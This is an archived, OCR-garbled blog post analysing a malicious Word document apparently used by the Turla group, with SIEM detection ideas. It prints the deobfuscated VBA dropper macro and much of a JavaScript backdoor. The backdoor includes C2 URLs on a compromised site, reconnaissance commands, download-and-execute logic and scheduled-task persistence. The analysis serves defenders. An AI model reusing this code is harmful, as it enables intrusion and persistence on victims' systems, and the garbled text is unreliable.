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Analysis of a malicious DOC used by Turla APT group; hunting

persistence via PowerShell

Archived: 2026-04-05 13:20:05 UTC

Yesterday, John Lambert (@JohnLaTwC), from Microsoft Threat Intelligence Center twitted about some

malicious document used by Turla ATP group. The malicious document was in VT since a few hours before his

tweet

In a daily basis I have to deal with malicious documents delivered by phishing emails so I was interested in

understand how this malicious document works, if a new exploit was used, or any new technique. This analysis

allows me to create detection use cases.

The doc file mimics the agenda for an event sent from an embassy

| Boasase ram Peciny DUin ChHBI
Einmiairi Neascnnsn

AaBblche Aabbiele AaBh{ AcBbiy AaBb{ AaBbicl Acfbict

-A- i=- | M- 0

Embassy of the vrepublic of
Faeakhstan Helsinli

Wednesday 7e December

16:40
I7:00-20:00
Ministry for Foreign Affoirs

Thursday 8 December
og.30

09;00-09;30
Petri Peltonen

Press tour to Finland program:

Arriva! ond check in af Hotel Scondic Grand Maring [(thel
Meet your caordinator ond interpreter at the hotel lobby
Welcoming party ot the Deportment for Communicotions of the

fleet your coordinotor and interpreter at the hotel lobby
Meeting with Undersecretary of Ministry for Economic Affairs, Mr,

Once the macro has been executed, I can see that the process WINWORD.EXE spawns a WScript.exe command.
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A use case which monitor any WScript.exe process which has been spawned by Office would detect this

behaviour. Same would apply for PowerShell or cmd.exe

This generic Use Case would detect lot of common malware which uses Office documents as infection vector.

Search Datasets Feports Alerts Dashboards Search & Ftep-;:lrtin
Q New Search s R

index=nain CommandLine="*wscript®*" ParentCommandline="®*office*” | table ParentCommandl i=1|: CormandL ine Date tirme range ~ Q
< 1 event (104517 F38:00.000 PM to 107577 &00:00.000 PM) Mo Event Sampling « Job~ I B 4 & 4 B Veroose Made v
Events (1) Fatterns Statistics (1) Visualization

20 Per Page ~  AFormat ~  Preview

ParentCommandLine = #  CommandLine =

GiAFrogram Files (86 \WMicroseft Office\Office 1 SWINWORDUEXE" /n “C:AWindows\System32W Scriptexe’

TAma\H2cBeadaa0fdB8dab 30ccehfeedTeld 1 F53a509ceccd 6794501 Bae 27 3R4dTE 1 dac” "L Users\user 1WA papData' Roaming\MicrasaftyWindawsmaintoals js°

EzZEToSXyHADF_e5IZi1

After some minutes, the script executes several other commands, like for example 'net use', 'net share', 'task list',

'ipconfig", 'netstat', etc, to map the system and the network.

This is also a valid use case to implement. Obviously, this will need some fine tuning depending on the

environment, but as an start point can permit the detection of suspicious behaviour.

index=nain ParentCommandline="*wscript*" | table _time CommandLine Dateti
+ 23 avents (10517 238:00.000 PM to 10051 T 00000000 PM)  Ho Event Sampling ~ Jab~ 11 W A& & 4
Events [23) Patterns Sratistics [23) Visualization
20 PerPage ~  AFormat~  Preview { Pray
_time ¢ CommaredLines & i

H017-10-08 14-48:02 "CaWindows\Systemdiomd exe’ Jc dir ChUsers\uses 1A ppDotahRoaming

Eg;Egt"oUsers\user VuppDatah Local Microsa it Windowsh ~dat. tmg®
2017-10-05 14:48:02
2017-10-05 14:40:02

“CiWindows\Systemdomd.exe” fc dir "C\Program Files (xB5)" &gtigt; "o Usershuser 1\ApplatatLocalMicrosofy\Windows\~dat.tmp”
“CaWindows\Systemdomd exe’ /o dir "C\Program Fikes (xB5)" &gt Eqt; "o Usershuser 1'ipplatat LocalMicrosofyWindows\~-dat.tmp”

“CaWindows\Systemdomd exe” /o tasklist /fi "modules ne wowbd.dIF EgtEgl;
“gAUsers e A ppData’ LocahMicr csa i \Windaws' ~dal.tmg”

2017-10-05 14:47:33

H017-10-08 14-47:02 “CaWindows\Systemdomd exe” /o tasklist /fi "modules eq wowbd.dIF EgLEgl;

“gAUsers e Vi ppDals’ LocalMicr cea 0 Windows' ~dal.tmg”

2017-10-05 14:47:00

2017-10-05 14:47:00

2017-10405 14:47:00
2017-10-05 14:47:00
2017-10-05 14:47:00

2017-10-05 14:47:00
2017-10-05 14:47:00
2017-10-05 14:47:00
2017-10-05 14:47:00
2017-10-05 14:47:00
2017-10-05 14:47:00
2017-10-05 14:47:00
2017-10-05 14:47:00
2017-10-05 14.46:55
2017-10-05 14:46:54

“CiWindows\Systemdomd.exe’ fc dir ChiUsers\uses 1\Deskioph*.* SgLagy
“gAUsers e i ppDals’ LocahMicr cea M Windows\ ~dal. tmg™

“CaWindows\Systemdomd exe” fo dir CAUsers\uses 1w ppDatatRoamingMicrasoftyWindows \Recenly* = BgtEgl;
“gAUsers e i ppDals’ LocahMicr cea 0 Windows), ~dal tmp”

“CaWindows\Systemdomd exe’ /e dir CiUsers\®* Egl,&gt; "oiUsers\use D ppDatadLocalMicosa A Windowsh~dat. tmg”
“CaWindows\SystemdDomd exe” fc set EglEgt “eiUsersiuser Dupplatat L ocahMicrosalWindowsh - dal. bmp®

“ChWindows\SystemdDomd.exe’ /o net uger adminsstralor fdamain SgtEgl
“gAUsers user | Wi ppDals LocahMicr osa M Windows), ~dal mg™

“CaWindows\Systemdomd exe”’ fo net user fdomain Bgtigl; ciUseswaser T vhpaDatatLocaliMicrosofl\Wind ovws—dat imp”
“ChWindows\SystemdDomd.exe’ /o et user adminsstralor gtAgl wlsersiuser | VippData\Local\Wic rosoft\Wind ows'~dat.imp”
“CaWindows\Eystemdomd exe’ fo nel user ByLigl; “chlbsersiuser  WpoDatatLocalMicrasaftywindows ~dat timp”
“Cawindows\SystemdDomd exe’ /o el use EgLEGL "eilsers\user 1 WppDatatLocal\Micros oltWind ows'~-dat. imp®
"CAWindows\Byatermdemd exe’ fo net share Bgtgl; "eUsersiuser 1VipaDate\Local\Microsoft\Wind ows\—dat tmp”
"CAWiIndows\ByatemIemd exe’ Je arp -a Sl Egl; e Usersuser ] \WppDalai L ocahMicrosalfWindaws) ~dal g™

"CaWindows\ Syatemdiemd exe® Ji ipoanhg Sall Bl &gt ctlUsssiuser VAppDateLosal Micrasaft\Windows'-dal tmg”
“Cawindows\Syatemdemd e’ fc netslal -neo EgLEgl, " senshuser 'vippDatatLocal\MicrosoflvWind ows'\~dat imp”
"CAWindows\Sratemd2omd exe” fo gpresull F2 BglEgl; Eilsenswser T vippDatatLacal\MicrosedlWind ews'—dal Imp"
“Chwindows\Systerdvemd exe’ /o tasklisl v EgLEg Twhlbserstuser 1 VApp DatatLocalMicrosafvWind ows\~daLimp”

Page 2 of 20


https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirVosQO6Ys61sy1W0a3pffquvrz60Ls9w8nufE-5dZs_wdg-C2Esu7d_H5BSUmC77LsluUl9Gp_ct3TibXTwnjIPpWar3w1aZh_tiFWRfyVi1ZLZSq0_WOKR1ZFmL_QWuBIi60vwwDEp_c/s1600/Screen+Shot+2017-10-05+at+16.17.39.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirVosQO6Ys61sy1W0a3pffquvrz60Ls9w8nufE-5dZs_wdg-C2Esu7d_H5BSUmC77LsluUl9Gp_ct3TibXTwnjIPpWar3w1aZh_tiFWRfyVi1ZLZSq0_WOKR1ZFmL_QWuBIi60vwwDEp_c/s1600/Screen+Shot+2017-10-05+at+16.17.39.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGqRCfayKdjpzW8njDzuqcNiR_vqgrWFgvFiDCKLNu1aK58R4rHp2MAZMGSaO7H1pEpXRaG4tufZubDrTiJnRZoA9W68RkToY5TdrFlfSrCDi4CDL9bfDt6dYzYDZRj9O_8VJHdu2EMUW_/s1600/Screen+Shot+2017-10-05+at+16.19.53.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGqRCfayKdjpzW8njDzuqcNiR_vqgrWFgvFiDCKLNu1aK58R4rHp2MAZMGSaO7H1pEpXRaG4tufZubDrTiJnRZoA9W68RkToY5TdrFlfSrCDi4CDL9bfDt6dYzYDZRj9O_8VJHdu2EMUW_/s1600/Screen+Shot+2017-10-05+at+16.19.53.png

https://blog.angelalonso.es/2017 /10 /analysis-of-malicious-doc-used-by-turla.ntml

At a later stage the same script performs some internet connections. Here again, monitoring any script like
wscript.exe, cmd.exe or powershell.exe making connections to Internet can provide a lot of
meaningful information. (This is already discussed here http://blog.angelalonso.es/2017/08/malspam-campaign-

exploiting-cve-2017.html)

O Mew Search

Lrdex=eain  Eventlescription="Rerwork {omneon® table Image DestlracionHestname Destlnaclonlp GestinatiorBostnos
= 2 eveits (1B T BRBO0D0 000 Fi 1o PIVEAT GO0X03020 PM)  Ho bvent Samphng dab = L)
Everes 3 Pamema S tics [ 7 ‘Wimumlirazon

= #Famal o

# | DestinatiocHommame # | Dwsraticnip
IR A

So this malicious file would be detected with a generic use cases which monitor properly some processes and

connections.
Now, let's take a look to the code to see if I find something interesting.

The VBA macro is ofuscated

remnux@remnux: /mnt'/hgfsftmp/tmp3

File Edit Tabs Help

remnux@remnux: /mnt/hgfs/tmp/tmp3% olevba.py ff2cBcadaadfdidatliBoccetfocedTedolfs3abddceccdEials
bisae272f4d?51.doc

olevba 8.51a - http://decalage. infofpythonfoletools

Flags Filename

OLE:MASI-B-- ff2cBcadaadfd8dagliBccebfceldTeddlf53abd9%ceccds?045b15ae273F4d751 . doc

FILE: ff2cBcadaadfdidasliBeccesfcelTennlfs3asdoceccdsTo45b15ae273T4d751 . doc

Type: OLE

VBA MACRO ThisDocument.cls

in file: fr2cBcadaadfdidagl3BocetlcelTefdllfe3asd9ceccde6To45b15ae27374d751 . doc - OLE stream: u'M™
acros/VvBA/ThisDocument '

(empty macra)

VBA MACRO Modulel.bas

in file: ff2cBcadaadfd8dagliBocetfoceldTeddlfs3abdiceccdE?045b15ae273F4d751.doc - OLE stream: u'M
acros/sVBA/Modulel"’

Public OBKHLrC3vEDJVL As String

Public B8qen2T433Ds1bwW As String

Function Q7J0OhnSpIll&4BLEVA3V(EjgtNRKMRiVEiQbSblgET() As Byte, MSwI32R3VF2gS5B21EK4d As Long) As
Boolean

Dim THOQNTUYGEN1ShLISnXBLYE AS Byte

THONTUTEN1Sht JENXBLYE = 45

For i = @ To MS5wI3ZR3VF2g5B21EK4d - 1

EjqtNRKMRIVELIQbSbLlgaT (1) = EjgUNREMRIVEiIQbSblge7 (i) Xor THONTUTEnLSbtJSnxXBLYS

e e T e e S e T e e e e - - R L

Public OBKHLrC3vEDjVL As String
Public B8qen2T433Ds1bW As String
Function Q7J0hn5pI1648L6V43V(EjqtNRKMRiVtiQbSb1q67() As Byte, M5wI32R3VF2g5B21EK4d As Long) As Boole
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Dim THQNfU76n1SbtJ5nX8LY6 As Byte

THQNfU76n1SbtJ5nX8LY6 = 45

For i = @ To M5wI32R3VF2g5B21EK4d - 1

EjqtNRKMRiVtiQbSblg67(i) = EjqtNRKMRiVtiQbSblqg67(i) Xor THQNfU76n1SbtJ5nX8LY6
THONTU76n1SbtI5nX8LY6 = ((THQNfU76n1Sbt]5nX8LY6 Xor 99) Xor (i Mod 254))
Next i

Q730hn5pI1648L6V43V = True

End Function

Sub AutoClose()

On Error Resume Next

Kill OBKHLrC3vEDjVL

On Error Resume Next

Set R7Ks7ug4hRR2weQy7 = CreateObject("Scripting.FileSystemObject")
R7Ks7ug4hRR2weOy7.DeleteFile B8qen2T433Ds1bW & "\*.*", True

Set R7Ks7ug4hRR2weQy7 = Nothing

End Sub

Sub AutoOpen()

On Error GoTo MnOWgnnpKXfRO

Dim NEnrKxf81511

Dim N18E0i60G6T2rNoV141W As Long

Dim M5wI32R3VF2g5B21EK4d As Long

N18E0i60G6T2rNoV141W = FilelLen(ActiveDocument.FullName)
NEnrKxf81511 = FreeFile

Open (ActiveDocument.FullName) For Binary As #NEnrKxf81511

Dim E2kvpmR17SI() As Byte

ReDim E2kvpmR17SI(N18E0i60G6T2rNoV141W)

Get #NEnrKxf81511, 1, E2kvpmR17SI

Dim KqG31PcgwTc20L47hjd70i As String

KqG31PcgwTc20L47hjd70i = StrConv(E2kvpmR17SI, vbUnicode)

Dim N34rtRBIU3yJO2cmMVu, I4j833DS5SFd34L3gwYQD

Dim VUy50j112fLw51h6S

Set VUy50j112fLw51h6S = CreateObject("vbscript.regexp")
VUy50j112fLw51h6S.Pattern = "MxOH8pcrlepD3SRFF5ffVTy86Xe41L2qLngTd5d5R71q87mWGES55fswgG84hIRdX74d1b1
Set I4j833DS5SFd34L3gwYQD = VUy50j112fLw51h6S.Execute(KqG31PcgwTc20L47hjd701)
Dim Y5t4U170385qK4YDhr

If 14j833DS5SFd34L3gwYQD.Count = @ Then

GoTo MnOWgnnpKXfRO

End If

For Each N34rtRBIU3yJO2cmMVu In I4j833DS5SFd34L3gwYQD
Y5t4U170385qgK4YDhr = N34rtRBIU3yJO2cmMVu.FirstIndex

Exit For

Next

Dim Wk403X7x1134j() As Byte

Dim KDX118qY4rcT As Long

KDX118qY4rcT = 16827

ReDim Wk403X7x11343j(KDX118qY4rcT)

Get #NEnrKxf81511, Y5t4U170385qK4YDhr + 81, Wk403X7x1134j
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If Not Q7JOhn5pI1648L6VA3V(Wk403X7x11345(), KDX118qY4rcT + 1) Then
GoTo MnOWgnnpKXfRO

End If

B8gen2T433Ds1blW = Environ("appdata") & "\Microsoft\Windows"

Set R7Ks7ug4hRR2weQy7 = CreateObject("Scripting.FileSystemObject")
If Not R7Ks7ug4hRR2weQy7.FolderExists(B8qen2T433Ds1bW) Then
B8qen2T433Ds1bW = Environ("appdata")

End If

Set R7Ks7ug4hRR2weQy7 = Nothing

Dim K764B5Ph46Vh

K764B5Ph46Vh = FreeFile

OBKHLrC3vEDjVL = B8gen2T433Ds1bW & "\" & "maintools.js"

Open (OBKHLrC3vEDjVL) For Binary As #K764B5Ph46Vh

Put #K764B5Ph46Vh, 1, Wk403X7x1134j

(lose #K764B5Ph46Vh

Erase Wk403X7x1134]

Set R66BpIMgxXBo2h = CreateObject("WScript.Shell")
R66BpIMgxXBo2h.Run """" + OBKHLrC3vEDjVL + """" + " EzZETcSXyKAdF_e5I2i1"
ActiveDocument.Save

Exit Sub

MnOWgnnpKXfRO:

Close #K764B5Ph46Vh

ActiveDocument.Save

End Sub

This code, basically creates a JS file C:\Users\user1\AppData\Roaming\Microsoft\Windows\maintools.js and then
executes it. However, for the execution to be success it is necessary to use the string " EzZZETcSXyKAdF_e512i1"

as parameter.

Moving forward and looking at the JS file C:\Users\user1\AppData\Roaming\Microsoft\Windows\maintools.js I

see it is obfuscated
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1 Dh:r_\r{var wyryl = Hicript.Arguments;war saWi = weyl()) jvar ES53c = y3zb() ;E53c = LXwh(ES3c) ;ES3c

72 -leatcsh (&)
i H{WScripbt.Quit () ;}function MTIvE(CgglD) {var XwHV = CggD.charCods&t (U) ;if (IwH! === Jx:E || EwH?
if (HwHT === 0= || ¥wHT? === 0x=L:) return
5 Af (MwIIT < 2} return -
7 if (HwHT < O + ] return XwWHT - + + Zi
T if (¥wWHT < R ] peturn XWHT =
if (AwHT < L+ ] meturn XwH! - I+
}function L¥wh(d27x) {wvar LUKT = "a=CDREGH LMNOPOESTIVWLY 2abodefghijklmnopgratumeeyz012345
| return;var CIIE = 4d27x.length;var VieR = d27x.charft (CHLG - 7)) == '=' 7 ; d27x. charAt (TNl
11 oOwar mjgoe = new Array (d27Tx.length * ! - WE=LR) ;jwar z38Ht = VE=R » ? d27=x.length - 1 d27?
7 KEHE((MAETR & 0 Yy == R)
13 HGHE (noTH & FF}

| i (WHek === ) {ntTB = (MTvK(d27x.charAt(i}) << 2} | (MTvE({d27x.charBc(i + 1)) =»» )
5 KGI6 (neTl & ]

14 }alse if (VSel === 1) {niT2 = (MTwE({d27x.charht(i}) << 10} | (MTvE({d27x.charBt{i + 1}) << 1)
T OKGHE((METE == 0) & 0wrF)

14 HGHE (neTH & FE)
19 jreturn mijco
‘0 -}funetion CpPT(bOc3, FSvE)

21 Ofwar BWy? = []:wvar VIVL = Jl;var gyvCg:var mjgo = '""jfor (var i = U; 1 < | ;oit+)
{awyT[i] = ir}for (var i = 0; 1 <« 2568; i++4)
23 {WEV1 = (VIV1 + AWyT[i] + bBOed.charCodeAb (i % bOed. length)) % ;oyCyg = AWy [1]:AWy/[1i] = A
{i =i+ 1) % JVEVL = (VEV1 + BWyT[i]) B craqyCo = BWyT[1] :ANyT[1] = AWy T[VEVL] dAWNyT[V2
\C [var qoEz = "zhiubgpaJR]Ot IncHNZLOW] PRsE qEC, sEWEDITILo 1 hEx ] dbelMges 6have LoFXuFMYLI T svHGg T

try{var wvyl = WScript.Arguments;var ssWZ = wvy1(0@);var ES3c = y3zb();ES3c = LXv5(ES3c);ES3c = CpPT(

eval(ES3c);

}catch (e)

{WScript.Quit();}function MTvK(CggD){var XwH7 = CgqD.charCodeAt(@);if (XwH7 === @x2B || XwH7 === 0x2I
if (XwH7 === Ox2F || XwH7 === Ox5F) return 63

if (XwH7 < 0x30) return -1

if (XwH7 < 0x30 + 10) return XwH7 - 0x30 + 26 + 26

if (XwH7 < 0x41 + 26) return XwH7 - 0x41

if (XwH7 < 0x61 + 26) return XwH7 - 0x61 + 26

Hunction LXv5(d27x){var LUK7 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";v
return;var CHIB = d27x.length;var V8eR = d27x.charAt(CH1B - 2) === '=' ? 2 : d27x.charAt(CH1B - 1) =
var mjgo = new Array(d27x.length * 3 / 4 - V8eR);var z8Ht = V8eR > @ ? d27x.length - 4 : d27x.length
XGH6((n6T8 & OxFFOQ) >> 8)

XGH6(n6T8 & OXFF)

}if (V8eR === 2){n6T8 = (MTvK(d27x.charAt(i)) << 2) | (MTvK(d27x.charAt(i + 1)) >> 4)

XGH6(n6T8 & OXFF)

Yelse if (V8eR === 1){n6T8 = (MTvK(d27x.charAt(i)) << 10) | (MTvK(d27x.charAt(i + 1)) << 4) | (MTvK(:
XGH6((n6T8 >> 8) & OxFF)

XGH6(n6T8 & OXFF)
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}return mjgo

}function CpPT(b0e3,F5vZ)

{var AWy7 = [];var V2Vl = @;var qyCq;var mjqo = '';for (var i = 0; i < 256; i++)

{AWy7[i] = i;}for (var i = 0; i < 256; i++)

{V2V1 = (V2V1 + AWy7[i] + bOe3.charCodeAt(i % bOe3.length)) % 256;qyCq = AWy7[i];AWy7[i] = AWy7[V2V1
{i=(1+ 1) % 256;V2V1 = (V2V1 + AWy7[i]) % 256;qyCq = AWy7[i];AWy7[i] = AWy7[V2V1];AWy7[V2V1] = qy!
{var qGxZ = "zAubgpalRj@tIneNNZLOwjPgnSRiIygEC/SEWEDIUBLoihPXjdbeiMgcsbAavcLCPXuFMILI7svlGgIIKnOOKpe

An easy way to view the code a bit cleaner, is to print the code before the eval(ES3c); witha
WScript.Echo(ES3c)

o localmeta &3 Et:nnﬂg—v‘l xml £d Emaintmljsjs X

1 Htry{var wvyl = WScript.Arguments;

4 |Wscript.Escho(ES3c);
3 eval (E53c) ;

5 Lleatch (e) B

Once done, I run the command with the proper string as I got the code:

oo Aaprels AaBbC AnfbhC AaBbC AaBhCcl 4058000: As8blele AofbIcly AaBbIcDy daBSCols ApRs

= thic repubslic of
BT

= Wicrpt Createdbjoct] Wicript Hetwork Trwlmy = el Userblamecfor b count = O count + aych xoumt= )

(a1

" = G brmak  defest
wandomi] il - B2} break; |return rame wn e N = Bge(hidCi] Hry
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function UspD(zDmy)

{var m3mH = WScript.CreateObject("ADODB.Stream")
m3mH. Type = 2;

m3mH.CharSet = '437';

m3mH. Open();

m3mH . LoadFromFile(zDmy);

var c@xi = m3mH.ReadText;

m3mH.Close();

return cz_b(cOxi);

}

var CKpR = new Array ("http://www.saipadiesel124.com/wp-content/plugins/imsanity/tmp.php","http://ww

var tp08 = "w3LxnRSbJcqf8HrU";

var auME = new Array("systeminfo > ","net view >> ","net view /domain >> ","tasklist /v >>

var QUjy = new ActiveXObject("Scripting.FileSystemObject");
var LIxF = WScript.ScriptName;

var womy = "";

var ruGx = TfOh();

function hLit(XngP,yl1qa)
{char_set = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789+/";

var Rj3c ;

var OKpB = "";

for (var 1 = 0;

i < XngP.length;

++1)

{var B8wU = XngP.charCodeAt(i);
var LUxg = B8wU.toString(2);
while (LUxg.length < (y1ga ? 8 : 16))

LUxg = "0" + LUxg;
OKpB += LUxg;
while (OKpB.length >= 6)

{var vjUu = OKpB.slice(0,6);

OKpB = OKpB.slice(6);

Rj3c += this.char_set.charAt(parseInt(vijlu,2));
}}if (OKpB)

{while (OKpB.length < 6) OKpB += "@";

Rj3c += this.char_set.charAt(parseInt(0KpB,2));
twhile (Rj3c.length % (ylga ? 4 : 8) !=0)

Rj3c += "=";

return Rj3c;

}

var b92A = [1;
b92A['C7'] = '80";
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b92A['FC'] = '81";
b92A['E9'] = '82';
b92A['E2'] = '83";
b92A['E4"'] = '84";
b92A['EQ"'] = '85';
b92A['E5S'] = '86";
b92A['E7'] = '87";
b92A['EA'] = '88";
b92A['EB'] = '89';
b92A['E8'] = '8A";
b92A['EF'] = '8B';
b92A['EE'] = '8C';
b92A['EC'] = '8D';
b92A['C4'] = '8E';
b92A['C5"'] = '8F';
b92A['C9'] = '90';
b92A['E6"'] = '91";
b92A['C6'] = '92';
b92A['F4'] = '93";
b92A['F6'] = '94";
b92A['F2'] = '95";
b92A['FB'] = '96";
b92A['F9'] = '97';
b92A['FF'] = '98";
b92A['D6"'] = '99';
b92A['DC'] = "9A";
b92A['A2'] = '9B';
b92A['A3'] = '9C';
b92A['A5'] = '9D';
b92A['20A7'] = '9E";
b92A['192'] = '9F';
b92A['E1"] = 'AQ";
b92A['ED'] = 'A1';
b92A['F3'] = 'A2';
b92A['FA'] = 'A3';
b92A['F1'] = 'Ad4";
b92A['D1'] = 'A5';
b92A['AA"] = 'AB";
b92A['BA'] = 'A7";
b92A['BF'] = 'A8';
b92A['2310'] = 'A9";
b92A['AC'] = 'AA";
b92A['BD'] = 'AB';
b92A['BC'] = 'AC';
b92A['A1'] = 'AD';
b92A['AB'] = 'AE';
b92A['BB'] = 'AF';
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b92A['2591'] = 'B@"';
b92A['2592'] = 'B1"';
b92A['2593'] = 'B2';
b92A['2502'] = 'B3"';
b92A['2524'] = 'B4';
b92A['2561'] = 'B5";
b92A['2562'] = "'Bb"';
b92A['2556'] = 'B7";
b92A['2555'] = 'B8';
b92A['2563'] = 'B9";
b92A['2551'] = "BA';
b92A['2557'] = 'BB';
b92A['255D"'] = "BC';
b92A['255C'] = 'BD';

b92A['255B"'] = 'BE";

b92A['2510'] = 'BF';
b92A['2514'] = '(@";
b92A['2534'] = 'C1";
b92A['252C'] = 'C2";
b92A['251C'] = '(3";
b92A['2500'] = 'C4';
b92A['253C'] = '(5";
b92A['255E'] = 'C6";
b92A['255F'] = '(C7";
b92A['255A'] = '(8";
b92A['2554'] = '(9";
b92A['2569'] = 'CA";
b92A['2566'] = '(B';
b92A['2560'] = 'CC';
b92A['2550'] = '(D";
b92A['256C'] = 'CE';
b92A['2567'] = 'CF';
b92A['2568'] = 'DO";
b92A['2564'] = 'D1';
b92A['2565'] = 'D2";
b92A['2559'] = 'D3"';
b92A['2558'] = 'D4";
b92A['2552'] = 'D5';
b92A['2553'] = 'D6";
b92A['256B'] = 'D7"';
b92A['256A'] = 'D8';
b92A['2518'] = 'D9"';
b92A['250C'] = 'DA";
b92A['2588'] = 'DB';
b92A['2584'] = 'DC';

b92A['258C'] = 'DD';
b92A['2590'] = 'DE';
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b92A['2580'] = 'DF';
b92A['3B1'] = 'EQ';
b92A['DF'] = "E1';

b92A['393'] = 'E2';
b92A['3C0'] = 'E3";
b92A['3A3'] = 'E4';
b92A['3C3'] = 'E5';
b92A['B5'] = 'Eb';
b92A['3C4'] = 'E7';
b92A['3A6'] = 'E8';
b92A['398'] = 'E9';
b92A['3A9'] = 'EA';
b92A['3B4'] = 'EB';
b92A['221E'] = 'EC';
b92A['3C6'] = 'ED';

b92A['3B5'] = 'EE';
b92A['2229'] = 'EF';
b92A['2261'] = 'FO";
b92A['B1'] = 'F1';
b92A['2265'] = 'F2°';
b92A['2264'] = 'F3"';
b92A['2320'] = 'F4";
b92A['2321'] = 'F5";
b92A['F7'] = 'F6';
b92A['2248'] = 'F7';
b92A['B0'] = 'F8';
b92A['2219'] = 'F9';
b92A['B7'] = 'FA';
b92A['221A'] = 'FB';
b92A['207F'] = 'FC';
b92A['B2'] = 'FD';
b92A['25A0'] = 'FE';
b92A['A0'] = 'FF';

function TfOh()
{var ayuh = Math.ceil(Math.random()*10 + 25);
var name = String.fromCharCode(Math.ceil(Math.random()*24 + 65));
var dc9V = WScript.CreateObject("WScript.Network");
wbmY = dc9V.UserName;
for (var count = 0;

count <ayuh ;
count++ )
{switch (Math.ceil(Math.random()*3))

{case 1:
name = name + Math.ceil(Math.random()*8);

break;
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case 2:
name = name + String.fromCharCode(Math.ceil(Math.random()*24 + 97));
break;
default:
name = name + String.fromCharCode(Math.ceil(Math.random()*24 + 65));
break;
}}return name;

var wykKN = Blgx(bIdG());

try

{var WE86 = bIdG();
rGeR();

jSm8();

}catch(e)
{WScript.Quit();

}

function jSm8()
{var c91r = Fvéb();
while(true)
{for (var i = 0;
i < CKpR.length;
it++)
{var Ysyo = CKpR[i];
var f3cb = XEWG(Ysyo,c91r);

switch (f3ch)
{case "good":
break;
case "exit": WScript.Quit();
break;
case "work": XBL3(Ysyo);
break;
case "fail": tbMu();

break;
default:
break;
}TfOh();
HWScript.Sleep((Math.random()*300 + 3600) * 1000);
}}function bIdG()
{var spqg3= this['\u@041\u@063\ub074i\u@076eX\ud04F\u0062i\udd65c\u0074'];
var zBVv = new spq3('\u@057\u@053cr\u@@69\udd70\udd74\ud02E\u0053he\u06C\ud06C');
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return zBVv;
}function XBL3(B_TG)
{var YIme = wyKN + LIxF.substring(@,LIxF.length - 2) + "pif";
var Kpxo = new ActiveXObject("MSXML2.XMLHTTP");
Kpxo.OPEN("post",B_TG, false);
Kpxo.SETREQUESTHEADER("user-agent:","Mozilla/5.0 (Windows NT 6.1;
Win64;
x64);
"+ Sz8k());
Kpxo.SETREQUESTHEADER("content-type:", "application/octet-stream");
Kpxo.SETREQUESTHEADER("content-length:","4");
Kpxo.SEND( "work");
if (QUjy.FILEEXISTS(YIme))
{QUjy.DELETEFILE(YIme);
}if (Kpxo.STATUS == 200)
{var m3mH = new ActiveXObject("ADODB.STREAM");
m3mH.TYPE = 1;
m3mH.OPEN();
m3mH.WRITE (Kpxo.responseBody);

m3mH.Position = 0;
m3mH.Type = 2;
m3mH.CharSet = "437";
var cOxi = m3mH.ReadText(m3mH.Size);
var ptF@ = FXx9("2f532d6baec3d@ec7b1f98aed4774843" ,cz_b(cOxi));
NoRS(ptF@,YIme);
m3mH.Close();
}var ruGx = TfOh();
c5ae(YIme,B_TG);
WScript.Sleep(30000);
QUjy.DELETEFILE(YIme);
}function tbMu()
{QUjy.DELETEFILE(WScript.SCRIPTFULLNAME);
eV_C("TaskManager", "Windows Task Manager",w5mY,v_FileName, "EzZETcSXyKAdF_e5I2i1",wyKN, false);
KhDn("TaskManager");
WScript.Quit();
}function XEWG(uXHK,hm2j)
{try
{var Kpxo = new ActiveXObject("MSXML2.XMLHTTP");
Kpxo.OPEN("post",uXHK, false);
Kpxo.SETREQUESTHEADER( "user-agent:", "Mozilla/5.0 (Windows NT 6.1;

Win64;

x64);

"+ Sz8k());
Kpxo.SETREQUESTHEADER( "content-type:", "application/octet-stream");
var rRi3 = hLit(hm2j,true);
Kpxo.SETREQUESTHEADER( " content-length:",rRi3.length);
Kpxo.SEND(rRi3);
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return Kpxo.responseText;
}catch(e)
{return "";
}}function Sz8k()
{var n9mv ="";
var dc9V = WScript.CreateObject("WScript.Network");
var rRi3 = tp08 + dc9V.ComputerName + w5mY;
for (var 1 = 0;
i< 16;
it++)
{var YsXA = 0
for (var j = i;
j < rRi3.length - 1;
j++)
{YsXA = YsXA N rRi3.charCodeAt(j);
}YsXA =(YsXA % 10);
nImV = n9mV + YsXA.toString(10);
In9mV = n9mV + tp08;
return n9mv;
}unction rGeR()
{v_FileName = wyKN + LIXF.substring(@,LIxF.length - 2) + "js";
QUjy.COPYFILE(WScript.ScriptFullName,wyKN + LIxF);
var HFp7 = (Math.random()*150 + 350) * 1000;
WScript.Sleep(HFp7);
eV_C("TaskManager", "Windows Task Manager",w5mY,v_FileName, "EzZETcSXyKAdF_e5I2i1",wyKN, true);
}function Fvbb()
{var m_Rr = wyKN + "~dat.tmp";
for (var 1 = 0;
i < auME.length;
i++)
{WE86.Run("cmd.exe /c " + auME[i] + "\x22" + m_Rr + "\x22",0,true);

Yvar nRUN = UspD(m_Rr);

WScript.Sleep(1000);

QUjy.DELETEFILE(m_Rr);

return FXx9("2f532d6baec3d0ec7b1f98aed4774843" ,nRVN);
}function c5ae(YIme,B_TG)

{try

{if (QUjy.FILEEXISTS(YIme))

{WE86.Run("\x22" + YIme + "\x22" );

}}catch(e)

{var Kpxo = new ActiveXObject("MSXML2.XMLHTTP");
Kpxo.OPEN("post",B_TG, false);

var ePMy = "error";

Kpxo.SETREQUESTHEADER( "user-agent:","Mozilla/5.0 (Windows NT 6.1;
Win64;
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x64);

"+ Sz8k());
Kpxo.SETREQUESTHEADER( " content-type:", "application/octet-stream");
Kpxo.SETREQUESTHEADER( "content-length:",ePMy.length);
Kpxo.SEND(ePMy);
return "";

}}function RPbY(r_X5)

{var w8rG="0123456789ABCDEF";

var yjrw = w8rG.substr(r_X5 & 15,1);
while(r_X5>15)

{r_X5 >>>= 4;

yjrw = w8rG.substr(r_X5 & 15,1) + yjruw;
Yreturn yjrw;

Hunction NptO(jlEi)

{return parseInt(jlEi,16);

Hunction eV_C(Bjmr,RT6x,07Ec,YBwP, T9Px,egNr, rmGH)
{try

{var BGfI = WScript.CreateObject("Schedule.Service");
BGfI.Connect();

var w2cQ = BGfI.GetFolder("WPD");
